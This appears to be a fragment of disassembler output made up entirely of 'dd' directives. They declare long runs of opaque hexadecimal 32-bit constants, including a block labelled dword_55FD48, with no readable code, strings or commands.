dd 88C400F1h, 34CFE7BBh, 0C60028B3h, 0A4FBB1E2h, 7CF25270h
dd 39F40Dh, 3ACF78Bh, 0BCAEF58Dh, 29058800h, 95061B7Bh
dd 7CC0E7A8h, 3273F41Ah, 0FE11FDCAh, 95180494h, 0F6100350h
dd 6D7C05h, 5AFA6896h, 0DAE87986h, 8061600h, 0B569F795h
dd 73F3198Ah, 10EE296Eh, 8BFB88h, 4162915Dh, 36CAAA85h
dd 2F342E1Eh, 94A84C80h, 46F982h, 0F4E23332h, 0B9BAFF7Fh
dd 14835607h, 0ECC0F384h, 0B48A0Bh, 0A5E47B51h, 0A409DF61h
dd 0E372E700h, 1F107033h, 203600F4h, 0F05150F7h, 0FD00D828h
dd 4983FEDAh, 0D07A2h, 0C7D26770h, 0C26E8E89h, 3A48BB00h
dd 92DFF08Ah, 9FE700BEh, 628D4ED2h, 71E46702h, 0C931D000h
dd 0DC7473C4h, 45830007h, 40B7CCDDh, 5100FA8Bh, 1AF0025Eh
dd 0E8A686Dh, 7FC6F43Fh, 4B9D5060h, 0F50219A3h, 0C78E005h
dd 35B08003h, 51CE92h, 5D55C92Dh, 5F2E6B02h, 47C48600h
dd 0FDBBE6FAh, 0A37A0059h, 8C6C9D75h, 1900AD7Bh, 0B9C9B039h
dd 0A3F2A20h, 46BFDF66h, 0C16C1C9Ch, 528C1E36h, 0D4617002h
dd 0EC200A00h, 770C535Bh, 411A00BBh, 0F604AF73h, 7E3A6185h
dd 8087BC9Bh, 943D7210h, 24F50F88h, 0BCA140h, 4CDDCB54h
dd 3009C7B9h, 602243FBh, 0CF5FEAh, 7B4F7601h, 74FCE68Ah
dd 0E48DB300h, 7C1C395h, 6DFB0070h, 9C9B056Ah, 59F87749h
dd 0A914F900h, 0C4728580h, 0B930FE7h, 98A0781Ch, 7E5F07F3h
dd 0BF2BDB1Dh, 47AC9h, 0DEA3040h, 44D40088h, 1B862098h
dd 4E48F75Dh, 0CD920E77h, 0F51C8040h, 1CBDC43Eh, 803527D9h
dd 8BA14496h, 0C8007E31h, 2D25D6F3h, 7D5A85h, 0AE0762EDh
dd 9069371Eh, 0A3C5C706h, 218D5E0h, 0FFA06786h, 40D75D17h
dd 727FFAh, 5495E6BBh, 0ECAAD469h, 0D59C9207h, 0BF000984h
dd 6E53A82h, 9083D67Bh, 6A0048DBh, 0EEEF12FFh, 0CB1DE3Eh
dd 5234A6E5h, 7768CD9h, 0D1411400h, 0B6F1AD22h, 9053006Dh
dd 29DF54FCh, 790045DDh, 71FB2361h, 659556h, 8ABF069Bh
dd 0F629E01h, 8B586800h, 67FEE175h, 7A0A80D3h, 61885B21h
dd 0F8D632FBh, 0A500BCC4h, 0D4FA92F4h, 147B522h, 8679A1BAh
dd 805B2D11h, 0E5FEDF30h, 0C056FA59h, 6399CF10h, 0A40F6DD5h
dd 874E5D0Dh, 2EF0C35Ch, 2DF0924h, 703C1025h, 24617D59h
dd 34EAF088h, 39DE7E00h, 2F625E64h, 0C43A3DABh, 1A1F8280h
dd 0D3C230E7h, 63360C0Fh, 0F450E047h, 8673DDh, 0A72C3F0Dh
dd 4399E006h, 0F109D0Ch, 2F9077h, 8BFA5F1Ah, 0F419F2A2h
dd 266AD400h, 47D97A67h, 3DF90F8Ch, 0DF20BD74h, 0AC53D169h
dd 81611600h, 2515B087h, 0B81800CDh, 0CB964FFFh, 50489C2Ch
dd 80C23DE8h, 6D57420Ah, 0AB1238h, 0AA4AD360h, 2B2A4C1h
dd 4FBCA3Dh, 2131BBE2h, 74339CD0h, 773200E3h, 303EC93Ah
dd 5007913h, 592755E7h, 0CD38702h, 26D7F932h, 1C38FE10h
dd 23289367h, 53181C04h, 2773C0D1h, 0D7F07C21h, 5D3000Bh
dd 41CBD237h, 8D001C69h, 67B4E3B8h, 79A0E7h, 7A589754h
dd 0BF510CC6h, 0E3BB9109h, 7F84204Fh, 8B5544h, 0FD165B41h
dd 0AA8ABA6Dh, 0FCA25207h, 0C9600A25h, 0F2B56361h, 2F3607FAh
dd 7AB3C54Dh, 464801B4h, 0FC0475F4h, 0C603AA88h, 2C4F8A16h
dd 88989B22h, 0F2F7DDFh, 0FE99455Fh, 7B8800D2h, 49C1562Ch
dd 5B545500h, 971FAB5h, 50E0024Eh, 88298EAh, 0C8541449h
dd 1D0068A0h, 6692556Dh, 3BEAD7h, 6FA50B50h, 965170F4h
dd 0BC56131Fh, 0F2A44080h, 4AB5AFh, 162078A8h, 0AE47D043h
dd 0C76C3A02h, 40628AD7h, 0FBAD49h, 1F99167Ah, 4CF3E7F0h
dd 0A2EF7400h, 0D2871EF6h, 0D87F1E09h, 80627CC5h, 4B006834h
dd 0E29B84h, 0E3E53902h, 483605Bh, 0BC592301h, 9F6C4448h
dd 188E54F9h, 0E1008B7Ch
dd 40E7AF4Ah, 99D0EF00h, 1B06220Ch, 0DE5C3B44h, 0A611F881h
dd 311A9A30h, 818010D4h, 4C05098Fh, 15F7A9F6h, 25FAA000h
dd 36DF458h, 5F685E1Ah, 4D807663h, 73033E3Bh, 25CDB12Bh
dd 0F516B86Fh, 91DF00EEh, 0C5BDDB56h, 0B40072BFh, 0E12CEBB8h
dd 1B89ECh, 8101D7FDh, 6C56A454h, 23DA0B00h, 0A512B3F8h
dd 8B9C0184h, 0F34FC426h, 6CC0856Ah, 0C48582DEh, 8AC0FE80h
dd 35EE0055h, 0B5BCBA23h, 0DE00CF6Ah, 93DCF29Fh, 8F039Ah
dd 0CA51B10Bh, 491DB2Bh, 2DC25802h, 4817B538h, 7B6394h
dd 0A4C5678Bh, 0F65FAEF4h, 0B78EDF00h, 0DA40EF06h, 0B4DB0081h
dd 506FF3A2h, 0D107963Ah, 28385BF5h, 8AEDF260h, 27120124h
dd 44B0C7DEh, 6DD7FC3Fh, 6F41D609h, 7C0C805Ch, 0B3EEF2Eh
dd 12491965h, 6DF970A0h, 7000FF41h, 0B1A85F02h, 602DE6DAh
dd 0C83520B5h, 0AF4CE823h, 0A81063D0h, 0B145F822h, 0C26100E7h
dd 3624E16h, 0C7723612h, 8323980Fh, 8ED20040h, 385B1A9h
dd 6A7B7F9Ch, 500F34DCh, 0E395C087h, 0A0CA9FD5h, 0BAB8FD60h
dd 85FE3DB0h, 3687FA6h, 3284E7FCh, 4286EAA0h, 107BDD24h
dd 6E156500h, 3EEB6FFh, 43E568A2h, 0B48192B8h, 5B98DBFAh
dd 0B707F8F3h, 5442AA3h, 8C039E50h, 89280FCFh, 0A9E0E22Eh
dd 4E2FB957h, 0F7AC9500h, 53AA9893h, 0C5ED0050h, 11A9106Ch
dd 0EFEB712h, 0FDF38D07h, 3490BF14h, 50F2F4h, 72710BCFh
dd 8720DFB9h, 1AB03300h, 0C9EB228Fh, 815D1C11h, 7B5DC0h
dd 7D81348h, 58005765h, 0A6E23B9h, 6CF9FC9h, 8B12DB0Fh
dd 0E13EC8Fh, 7C408265h, 0A00DE36Ah, 47FD1h, 0FC9A6685h
dd 0A157ADEh, 840998A8h, 7D318360h, 1A21F0Dh, 8DE0FC85h
dd 307CC76Eh, 1007FEDh, 6FBD9E8h, 0D56373Ah, 0AB668642h
dd 7AC1750h, 0B6D67716h, 9C00117Fh, 351944E5h, 0FEDC2140h
dd 0AF08C93Fh, 0CDBC9840h, 0E24D4407h, 9705D86h, 0E32EB8DAh
dd 91D0F042h, 51807AD8h, 480CF83Ah, 0F1014294h, 76C02F0Eh
dd 79EDB088h, 0C19BF5C4h, 977B3490h, 1DC8BEEAh, 0FDDF2559h
dd 0D7D4151Fh, 44E08050h, 8CD83512h, 1BDB044h, 7F4744C8h
dd 83DA6ECEh, 67199891h, 0DFC1A018h, 8AFF06F3h, 70D01FE2h
dd 96008D7Bh, 0D7FACC1Eh, 0B00B6548h, 0DDF0080h, 7EAC4AA9h
dd 6307F52Fh, 9712C5E8h, 8F84F193h, 0EA95D650h, 68AE0046h
dd 17154947h, 1C0039DBh, 14DD98CFh, 0EFD70Eh, 8A17F7Ah
dd 0E08A8578h, 7C0C3D00h, 3A2C3693h, 55970082h, 6F2039F2h
dd 29025A6Ch, 5FF63492h, 841BE078h, 417100B4h, 0C71523E0h
dd 0D00E7DBh, 57546D1Ch, 0C07EE4E5h, 0BDD67340h, 5078CAF1h
dd 88306C0Bh, 0A865F92h, 517720D9h, 0CD3879F2h, 3310056h
dd 5DB44FE0h, 90AF0013h, 0DDFCF9C8h, 2806FEA8h, 0D54BA4D9h
dd 0E8810770h, 0C0FF546Ch, 0BF7B14Eh, 0EED7C900h, 0D38575BAh
dd 0D85F068Ah, 485AB331h, 0BAD2F426h, 0C3618307h, 362DFF80h
dd 0E171E6h, 85432A53h, 3C696862h, 91815501h, 41E6D63Bh
dd 0E0F2A883h, 0D96362E7h, 0C5FAB58h, 56858248h, 2390BD18h
dd 8AC29300h, 46A4E2FCh, 0B8E830h, 72550E9Dh, 0AACF88ACh
dd 29F50102h, 0E0CEBFA3h, 19B1E9Dh, 881CC965h, 0E48FB0B2h
dd 0AF7C9EAAh, 49411CAh, 0A3F17161h, 4EA61080h, 87B85E24h
dd 72F77600h, 2B8EBCDDh, 591B0052h, 0F3757BB1h, 6B3F2F65h
dd 678080E0h, 32228D4Ah, 0EEFB003Eh, 96E7E62Eh, 56075AEBh
dd 0B5FEEAE4h, 9DE8D120h, 925E0080h, 0A12022CAh, 0BDF60C57h
dd 0D339F51Ch, 0A2D09900h, 182D3677h, 30D71E08h, 20078CB4h
dd 0FE4903Bh, 8DE82CA0h, 714B1DE3h, 2EAAC035h, 0C61F7CC3h
dd 7400F1FCh, 0EC5BD2E0h, 37F6BDFh, 6D08DABCh, 33D1FA9Bh
dd 2088D51Ah, 92049912h, 0CA91105Eh, 80AFB5C0h, 0A84EAACh
dd 81149DD5h, 51C08094h, 557ADB4h, 54410460h, 209FB24Bh
dd 0CF01162Ch, 0C3ACB80Dh, 1DFC5BD4h, 0E59C4495h, 97C4FB00h
dd 7990DEFEh, 115900DAh, 9C889542h, 660093D6h, 6F9F6731h
dd 4A3F10h, 61F36B77h, 0B1AAC819h, 2C1D707h, 0A7701B64h
dd 4E8F939h, 0C2F273E0h, 326C8055h, 4601012Eh, 0D9F9724h
dd 0A880628Eh, 6D654F3h, 120F912Fh, 0C0F873BAh, 0AE0CFFF0h
dd 569400DBh, 0BF35CC9Dh, 5A00D317h, 9A0107D4h, 91D068h
dd 0EB788728h, 0AEC02679h, 8E948300h, 97BBB941h, 85A40188h
dd 0C66DC2A6h, 3EB5D84Fh, 0D5041000h, 30EB2CCEh, 37D70067h
dd 1655F79Fh, 31038526h, 80AB17A9h, 8165D870h, 0D21F00A7h
dd 2ECDDEE5h, 0AAB89C4Ch, 0FF799607h, 33421955h, 45F5E067h
dd 0B15E3DD5h, 594EFB80h, 32B796C8h, 0CA2BD600h, 0E281BA63h
dd 31F498C3h, 0A980ED0Bh, 898DDCCDh, 2C00B790h, 0D5C56508h
dd 22B79h, 0B99DDC7Dh, 0A3FD0EDh, 8C9848h, 892F3849h, 9A1F9Fh
dd 96995020h, 7DFE152Eh, 52C61903h, 0F14F16Fh, 0E8D9DB10h
dd 23C0C01Dh, 6E883E1Dh, 2EBBA500h, 0F28BAF31h, 0D4FC004Eh
dd 0B834429Dh, 1B00337Ah, 0C3F689C9h, 0B8824986h, 0BC60005Ch
dd 0EC2E58EEh, 1F0ACF6Eh, 584AD236h, 0EB5DBF0Ah, 0C783718h
dd 16A20041h, 4ED86068h, 0C601B5D0h, 0A3F991C4h, 0F424BEEDh
dd 9C754CF2h, 57AC1807h, 5E608F87h, 450CC865h, 342DFC01h
dd 5CBA8567h, 0E5F7C4ECh, 61556C0h, 0A2A932E5h, 0F1007026h
dd 5BC58443h, 26D0EC7Bh, 0BA249305h, 0C111BF00h, 7580D870h
dd 6E3C5000h, 2FE22917h, 0C7BE00B3h, 611234D1h, 86C0A180h
dd 2896A4C2h, 0AA790032h, 97CB2D2Ch, 0D400B7E4h, 8894E664h
dd 70AD1E48h, 79C10008h, 900D5356h, 0FD0261B2h, 0E393D9EDh
dd 0DE4C68CDh, 27BB0013h, 789FCC47h, 1601D4B6h, 0D06B6581h
dd 0C5FCB8AFh, 545F0014h, 1C0F12DDh, 4500B3A6h, 0D55BDEC9h
dd 0E71B9Ch, 868AB74Bh, 6CED5725h, 0B6933907h, 16208932h
dd 10F4C8Eh, 0EAB79062h, 702D6C64h, 0C90E1CEBh, 0A7FD893Dh
dd 91154F25h, 549FAD00h, 3A22AF7h, 0F6C1BF2Ch, 9AD26108h
dd 0D80F9C80h, 8C17D2A8h, 39006C95h, 11ED5A9Fh, 0AAF70049h
dd 7DDB9060h, 3B3F1686h, 8C8000A9h, 886CAEF3h, 142000ABh
dd 4DA68B0h, 670098A3h, 28C2B679h, 0C25D0D5h, 5F32B9F1h
dd 0C801403Ch, 83335C81h, 76C80366h, 919F0030h, 95DF17A1h
dd 0EC981EB7h, 0B0E12526h, 0DA44C200h, 19156003h, 3075B57Dh
dd 7AD8C762h, 201BDE3h, 0F824D971h, 0AECC4A7Bh, 46100715h
dd 0F4491AA2h, 5724C1F1h, 32F88843h, 6A0780DCh, 84E6731Fh
dd 342E4707h, 263BAE7h, 52DBA890h, 924C0F2Fh, 93C08BA4h
dd 0AEE8FCA8h, 65BAB11Fh, 1896854Ch, 0DA2C0728h, 2939CDC3h
dd 0E94FB880h, 1100A31Eh, 0CF42AD77h, 0ECAE0DFh, 46EF483Dh
dd 9B1DEB60h, 8F009794h, 0D10F1690h, 1F6996ADh, 0C9641418h
dd 200015CCh, 745E1ADDh, 0E798B700h, 0F267E86Eh, 0F0231CC1h
dd 0D603436Ah, 9EE901D2h, 7ED9C8BCh, 9000B9E0h, 0B28EE1A5h
dd 90BD740Eh, 504E0096h, 64FABBB7h, 0D300A83Fh, 0CC0735E1h
dd 7797890Fh, 0E8390369h, 2A842D86h, 309F2BC9h, 1B0079DAh
dd 85DD0BEAh, 77E14D9h, 2435E062h, 805235D2h, 1972D41h
dd 0AC635900h, 5DB86FB4h, 0E7990010h, 0A35C3932h, 4C7EC678h
dd 0BAB2CB00h, 46C39F34h, 6D0D0050h, 9AC87E61h, 20076BBh
dd 0E4F4C41h, 7CEDC78Fh, 909103F6h, 0B21D25FAh, 3A6755F8h
dd 5E022E00h
dd 99499F36h, 0F82714Ah, 391FF201h, 96B74341h, 0A13C6009h
dd 7D5E1300h, 83565FBDh, 22F6014Fh, 0C8E9DFF7h, 3027602Eh
dd 4826313Ch, 78CC0099h, 7E49386h, 0A0880B49h, 500E7CE3h
dd 7BD72340h, 60285366h, 3360AA3Eh, 30849738h, 0D6793DECh
dd 0B800DABAh, 5427A4A0h, 0C60011BAh, 0AA720723h, 130DAC28h
dd 128F17h, 0EA90C86Fh, 0C0021F8h, 33A58E6Fh, 7BFD66h
dd 5542EEDBh, 0F3F19746h, 81449303h, 0E0CD7509h, 2ECA7FEFh
dd 80A4896Ah, 7372EBCFh, 8E3C9991h, 7D37800Bh, 7B7CF217h
dd 54C5007Fh, 0BCBED8D9h, 0A600EF94h, 44B7C25Ch, 0F38A1D12h
dd 138889DCh, 0E508Ch, 376DF99Bh, 0D504A9C8h, 0FAE170FBh
dd 0D9072FC0h, 0B391007Bh, 0D6B47CB0h, 1913DEF7h, 0F840A474h
dd 379C272Dh, 0C6CB0ECDh, 9BEF2543h, 3FB1F780h, 18ADF80Eh
dd 80ACEE0Eh, 90238BF2h, 184C608Ch, 9BA42119h, 0C4B91200h
dd 14615C26h, 7780C713h, 0F9C9A0CFh, 4A1D9152h, 2C0995F0h
dd 513380DCh, 0CC1AACC5h, 0E1302E40h, 2FFF7A06h, 98EC72h
dd 615F26B0h, 0DF3EE232h, 7A415700h, 0FC248898h, 0E9220155h
dd 40A79F2Ah, 774EE05Bh, 0AD1CCAFEh, 81C066D0h, 0A1C04147h
dd 0C6650353h, 0B12692Fh, 761D8C8h, 55887503h, 0C80170B2h
dd 0EB1113h, 4FA7FBD7h, 80FDB0F2h, 8260970h, 47038E3Dh
dd 0A5B9104Eh, 0D6146280h, 0A164001Ah, 1C09872Bh, 0F60C97B1h
dd 0C13613C8h, 5B4008Fh, 1910A96Eh, 181DEBC5h, 8318C4A1h
dd 2DD21h, 0A3A9996Eh, 0AEFBFDA4h, 13284100h, 6695A01Ch
dd 7B0F01B6h, 0E1AAAC0Dh, 0C42BC99Fh, 0B1727C84h, 9DA3D8F8h
dd 87E177E2h, 3F1883AAh, 0A8B0CBC5h, 5959039Bh, 2750C894h
dd 7AE50070h, 14A4FFC4h, 9EE8DBDCh, 8066B1CFh, 8C56F070h
dd 21C1077Eh, 0BE114A48h, 0F3C03C4Fh, 7AEAB665h, 79841531h
dd 41FC7229h, 908632EBh, 84828F69h, 801B35E2h, 2110AE6Eh
dd 8591C691h, 6E0ED200h, 84F9C798h, 4B5CD501h, 0C8DD2F36h
dd 0E4675880h, 0B664CBBBh, 0C212B7B0h, 5440ACC3h, 35AADD0h
dd 3FF906F8h, 8AA2FB7h, 0F221A860h, 1E05BC0h, 0ADC9647Ah
dd 9F841478h, 8B36C79h, 4E7EF094h, 0F09500ABh, 3A344DB1h
dd 6C007AF5h, 2544EE82h, 28721312h, 14F24BB0h, 88EB1C34h
dd 1868906h, 0F8C8A8C6h, 6DDAC3E0h, 0F04411D3h, 0D488827Ch
dd 1F6D00D8h, 949D32ECh, 0EE0CBD1Ah, 0E87726F8h, 0A8441867h
dd 0CE3568FFh, 0C055B6A0h, 0C9C2EC00h, 0B049C759h, 4B68009Dh
dd 9D35E7Fh, 2E2494DAh, 1507D1BDh, 78701B65h, 8258Fh, 0A96F56D7h
dd 1FB403BFh, 0B117A400h, 0E9302728h, 7F7705Eh, 2B320D87h
dd 75743037h, 4138A0FDh, 145E9E8Fh, 0E9A2400h, 21A6CFh
dd 2FAC9403h, 0C2EE148h, 28F63003h, 980AA8D4h, 8EBD3h
dd 0FAFCE514h, 6E63D79Ch, 0D57B7100h, 5C86116Ah, 0D493A23h
dd 2EE0377Ch, 19C7C008h, 755E9993h, 0E04DDEC3h, 0C37069C6h
dd 5FB30D20h, 78683022h, 92050661h, 58BDEE6Fh, 74F93C38h
dd 375980h, 0A184546Bh, 82A839E4h, 816DCA30h, 3E8E55C0h
dd 88BC3443h, 8083307Ch, 0D54B2659h, 381829DEh, 846C7F21h
dd 801213A1h, 12D4B20h, 1C925677h, 0FBA0B04h, 5D21633Bh
dd 0CC1DC50Dh, 2750A689h, 6B425A24h, 0C9D6B201h, 0E0503CAFh
dd 8AE9DD81h, 145B6D79h, 6CCB143Eh, 35386348h, 0E1813E88h
dd 0AD8EF280h, 732AD90Ch, 462128C8h, 0F30039E3h, 927C8CCh
dd 0B387DFh, 0D558976Bh, 5B77668Ah, 56BA3718h, 0F25DE61h
dd 398F079h, 61F9B380h, 55015913h, 63A8E0BBh, 58987080h
dd 56D1A125h, 0C40E0688h, 218082C1h, 8E126ADCh, 0CA7EB891h
dd 4020AE23h, 0C310F009h, 85FFFB28h, 0EFF62000h, 31D07F90h
dd 654E2461h, 5028618h, 860C3857h, 31D7DE4Bh, 112C9171h
dd 25C80051h, 2E5FF042h, 18C00ABh, 303FF479h, 0B8FAAA66h
dd 4B95CA18h, 6488E98h, 0FEE1E3CBh, 0DD39510Ah, 0EC69E2BDh
dd 15E023FCh, 7E306100h, 8116A3FAh, 0ABFC0043h, 3C25DF2Bh
dd 58309D6Ah, 2871D8ADh, 7F1601D7h, 0AA533DC3h, 0DEFC489Ch
dd 38E5B44h, 52A68B92h, 61338880h, 8DC080Bh, 87966D78h
dd 51CA8186h, 80B4839h, 0BED73C00h, 71731ED6h, 0CDD8C00h
dd 0C14D09AAh, 0FB50C237h, 48008608h, 57F3A1h, 0A02F0EB3h
dd 7EC0AF2Ah, 0F618517Dh, 8E6897AEh, 0BD0502CFh, 3FF2415Bh
dd 0D8D38490h, 88CE989h, 75590BFBh, 0B1D4C702h, 805FEA1Ch
dd 0A5428E10h, 406F6043h, 0DC896BA1h, 0C158F100h, 0DEC5BC26h
dd 1E7A7979h, 8EBA97C0h, 7E8E0E73h, 4CBB123Eh, 5C413538h
dd 4891EC04h, 789950D5h, 0C0FD0020h, 74B9F699h, 0B400D656h
dd 9F1F2E46h, 54E0EC3Bh, 0AFA083h, 7D07B622h, 88AB38F3h
dd 1FAEA30Fh, 0DE0F57CFh, 4B791867h, 0E13463D7h, 41017DE0h
dd 1F0861DBh, 70EC0628h, 485549A5h, 97207801h, 20AB3FA2h
dd 22043C68h, 0DC966AA9h, 80FB04D2h, 24291054h, 33A80299h
dd 760C661Dh, 0DE79898Ch, 0DC1EB4A4h, 481E625h, 7E2878C5h
dd 80012421h, 798056A3h, 0A8EFD12Eh, 0CAE47A2Ch, 0C87B7315h
dd 20314E4h, 80DD3F50h, 4D473F58h, 1975A359h, 511CA853h
dd 8C5824A7h, 0B854302Ah, 0E6C07A07h, 0EE02513h, 1ADFAF41h
dd 0D0260904h, 0CC4E00B0h, 1795C0F9h, 0BB809493h, 0B4A54719h
dd 0D71600A8h, 0DDB32891h, 0CB264DD3h, 0DC26BC06h, 11D28509h
dd 2C40F66Ch, 39DF1458h, 0BA261331h, 3FB3C040h, 3801DD9Ah
dd 9F3B6A2Ah, 998AE0B9h, 43F8E102h, 16E864E4h, 4F00C42Ah
dd 0E95DE024h, 9206F72Bh, 1DDD0020h, 77F0B581h, 5055AF02h
dd 0E1376098h, 79D3A4E0h, 264C1010h, 9813BC71h, 0EF0D3C1Fh
dd 40A9192Fh, 20351678h, 375EDE3Ch, 0DA21900h, 0CB6BA70Bh
dd 0E7504B3h, 0D85F99E4h, 883C905Ch, 0F1AC80BCh, 405982F6h
dd 1D87C12h, 37047E95h, 17818C13h, 9ECCA8F0h, 84BE98BFh
dd 0B1DF64CCh, 0D2488D6h, 0E118349Ah, 0C6685D59h, 1ABFCC9h
dd 92B6A143h, 0C4AA8371h, 21FCB151h, 0F9865233h, 8ED0A23Ch
dd 0E7700A1h, 215F4DDh, 0D3223D41h, 40CA7331h, 75003C66h
dd 89CADAA1h, 75D3155h, 43FB191Ah, 0BA4AA01Fh, 0A0C8121Eh
dd 5418E9D0h, 0AD002962h, 7AF075E7h, 1F6B620h, 0A7483E39h
dd 1054333Dh, 7F69B259h, 44610CD8h, 0CF410CD6h, 7DE7101Ah
dd 0F91C645Ah, 0D71C8814h, 4C5030FDh, 0F1B319C7h, 9908FAE0h
dd 7630051h, 8AA0C061h, 0AC0AED16h, 0D8382CD3h, 4842F4A0h
dd 0EB005622h, 91EE42FDh, 4CAB90D5h, 0D011D84Fh, 22045880h
dd 49A76EC2h, 2081702Dh, 0C1CF0764h, 89AAA0B7h, 8C165Dh
dd 666365E2h, 0AC060DF7h, 0EA2A140Bh, 0A8089037h, 85E20531h
dd 90D2BE34h, 0A3E52630h, 0A951F301h, 84CB4B25h, 522E848h
dd 0A3E90258h, 54D888E0h, 12A1D300h, 505EF79Ah, 0B207767h
dd 2EDA0C76h, 1858E010h, 529888B9h, 0E9D1ED9h, 9BC13EDFh
dd 0ECB3661h, 27BCC50h, 1006F124h, 3E4F5444h, 50D972A0h
dd 303D457h, 0DD80899Fh, 0FB212E4Eh, 78F540E8h, 7204343Ah
dd 283FC57h, 0D9036490h, 0E9012C04h, 81DBED8h, 517C2452h
dd 2CECD2E9h, 297E3C00h, 0D318F0F9h, 0BBE11058h, 4006145Dh
dd 0AC3E8AE8h, 810067A6h, 32214ED9h, 46080372h, 9A2DC818h
dd 366DD1F1h, 53AF00C4h, 0F6CC77Eh, 0E802094Ch, 48AA5298h
dd 0FDEC8878h
dword_55FD48 dd 0DFCCCCBFh, 0E471091Bh, 9E80A49Dh, 599264CCh, 0CE007BC7h
dd 7629CA20h, 648D22C9h, 408131EAh, 0B27DE13Ah, 405302E6h
dd 751D4C9Ah, 0E004849Ah, 224C5488h, 80066556h, 10E82035h
dd 780080E2h, 0BEF654A2h, 0EB306F9Fh, 0D781F086h, 34922955h
dd 6682449h, 0D5B533Fh, 4EA33061h, 0FE3288D1h, 9006874h
dd 1B2BAA78h, 0DE8BB7h, 1E514AEh, 829EF3FCh, 0F90A5091h
dd 6F808806h, 0AABD95B1h, 372EA6Dh, 0C4A0DD75h, 0E3A8B4DCh
dd 44098D26h, 22ADAA6Ah, 50588A7Ch, 509B28h, 0BA0806FFh
dd 0BC920219h, 0B0E00148h, 4B9408Bh, 263C47E3h, 0C82129Ah
dd 0F2DCAFFEh, 0FC2244D0h, 0D864019Bh, 2CE2986h, 3EC07072h
dd 0E03B52h, 44B19221h, 74813Ah, 18093D95h, 41CB6CEBh
dd 70A1A804h, 0E48834D6h, 1266ECB1h, 821542D2h, 0D864E000h
dd 0E8007274h, 0EEEB481Eh, 2647B7DBh, 984C062h, 2C90956Dh
dd 5496358Ah, 39CB8980h, 0F7A59Fh, 99B24870h, 6D6F155h
dd 0E7870202h, 49CD685Ch, 88504164h, 14BE2Eh, 16EB0E0Fh
dd 280D6880h, 67643201h, 0D54334CCh, 1C44C463h, 74C9005Ah
dd 3A702E4Dh, 0F43CCD60h, 18A38087h, 26C04FA6h, 806494E0h
dd 91DB6F76h, 0D605B841h, 6CD5B31Eh, 0A571E021h, 72002022h
dd 90244554h, 0B9F2C210h, 4AB48C00h, 0F47DC9E8h, 0A3550D18h
dd 0F0894BA4h, 5000FC82h, 16856CBFh, 5DC15165h, 26137437h
dd 8B80008Eh, 0ED736914h, 36C60402h, 4870A6FBh, 0A4916D1Ch
dd 0A6815CBCh, 97F0A845h, 11C1D884h, 0A3897B8Ch, 4D002462h
dd 0E2F5378Ah, 0F0000845h, 3AD23339h, 24B1989Eh, 252C961Dh
dd 7B716C81h, 8C3051D4h, 0C5002C85h, 5C8A0302h, 40F83424h
dd 0D08B9CE2h, 7324DB00h, 0DA1E1D5Eh, 2A4B77E1h, 884AA0h
dd 8E48F568h, 940F91E8h, 0C64B0400h, 84A6E3B2h, 251A0B0Bh
dd 0F407D5C9h, 304AD97Fh, 5193A810h, 0CF0AA203h, 8157D305h
dd 0BE215FC0h, 3FD69183h, 0A90082E1h, 38763C4h, 13439D2Dh
dd 103D4698h, 0CAC4A80Ch, 87B4218Eh, 0FC91FB0Ch, 414BA00h
dd 120B1C8h, 33E962FDh, 0FCB05395h, 1C12A599h, 5C52EF08h
dd 0B76B08D0h, 8F0707Fh, 5FA53562h, 0D90F4C20h, 8257A08Eh
dd 6CFA0539h, 0E102288Ch, 0DD490044h, 9864049Ah, 0A4312E91h
dd 36D1B977h, 0DA40C114h, 0B879A95Eh, 6D3C1680h, 0C8CD6Ch
dd 79D6B72Fh, 0B634E70Eh, 0C9A07E01h, 7319E5B1h, 0DF5C3Dh
dd 0AFDED993h, 0CB12E038h, 44E288h, 35494EF7h, 0B43914E8h
dd 0DF90BB07h, 0A0E04838h, 275FD8B2h, 5CA46045h, 0DD81436Bh
dd 52394855h, 0F0D0802h, 60810103h, 62E7D6B2h, 0FC0429A4h
dd 0D985350Ch, 0CD4402C6h, 0F02DBD8Dh, 0D63D5C48h, 0F89A73FEh
dd 0D72E0EF0h, 0FB971403h, 90796420h, 67B60043h, 3F48A8A3h
dd 0D578D4C6h, 7E3E261Dh, 480C48FDh, 9AD00Ch, 0BC472775h
dd 0E2974B8Ch, 0C099F8h, 0CD8E9CBDh, 0F2048726h, 3922F51Fh
dd 49C093h, 9118AEB9h, 0CA361BC5h, 0D1256212h, 0CE30A054h
dd 169E20F7h, 0ABC7C1h, 0E27BF5D8h, 264DA387h, 0AF9F0E0Ch
dd 74B35832h, 0F4B320h, 1A38C492h, 0FC1CB58Ch, 9356AB36h
dd 5D59B021h, 7446CB12h, 9D859521h, 0C4B82CDFh, 90F8E9h
dd 26C2D637h, 2544CB16h, 14106F47h, 0CCA442EBh, 0A03C44h
dd 49F52CEAh, 0C4311877h, 0BF7B2400h, 0C5CADB97h, 883D32A1h
dd 0E22D7C81h, 0CC088980h, 0A57A2269h, 9782E300h, 0B5C3A8D9h
dd 0C0E17B29h, 0FF837931h, 7003CF6h, 0DB4509A0h, 1EDAE7B8h
dd 2419AEEEh, 7F1A4000h, 8B19DEBh, 24472B00h, 3CBB294Ah
dd 0CA00FF92h, 0BFD77037h, 0FCE1759Eh, 857A0D71h, 2100EDE8h
dd 0B37EA295h, 7FCB4B6Fh, 91F1D33Ch, 0ED6DD594h, 609861BEh
dd 109EB6A6h, 6BCC48C0h, 0B8105D31h, 84D9D710h, 2C5051ECh
dd 10D84B15h, 4449E921h, 989626E0h, 5F50006Ch, 4B7E68D3h
dd 0BA95505h, 28C8EDF4h, 0D73C8849h, 9EAE707h, 0B48472CAh
dd 45D120E4h, 4C2333h, 8D21D3C4h, 0ACF9EDBh, 0F83C577Ch
dd 0A2470014h, 0BFABC28Ch, 0CDE69400h, 6053EFE2h, 503050C4h
dd 19852E0Ch, 74833CF9h, 0F443916Eh, 0C96AB5D8h, 1079B90Ch
dd 8883790Bh, 21006430h, 0D4957CBEh, 0B242D3Ah, 0E7894B7h
dd 10572469h, 0F9CAC9h, 92EA6A19h, 0D5FD959Ah, 0B9A01714h
dd 0D1B40064h, 0F09D3C8Fh, 4CE60086h, 16BA6DD0h, 3B0559A8h
dd 6F024A9Fh, 887FD4A4h, 4379658Dh, 81730E01h, 7EA45A1Ah
dd 1397D8C4h, 4B9CD9B3h, 6811A348h, 2983C861h, 456C8D2Eh
dd 8093507h, 915ED2F0h, 24B385h, 842E3090h, 0C24EB115h
dd 0B8006DBCh, 36BD56C9h, 0CF5CA934h, 42097F4h, 483732Dh
dd 0A9E822B5h, 0BCF30Fh, 6BC4EF26h, 7E533AEAh, 0C1B25838h
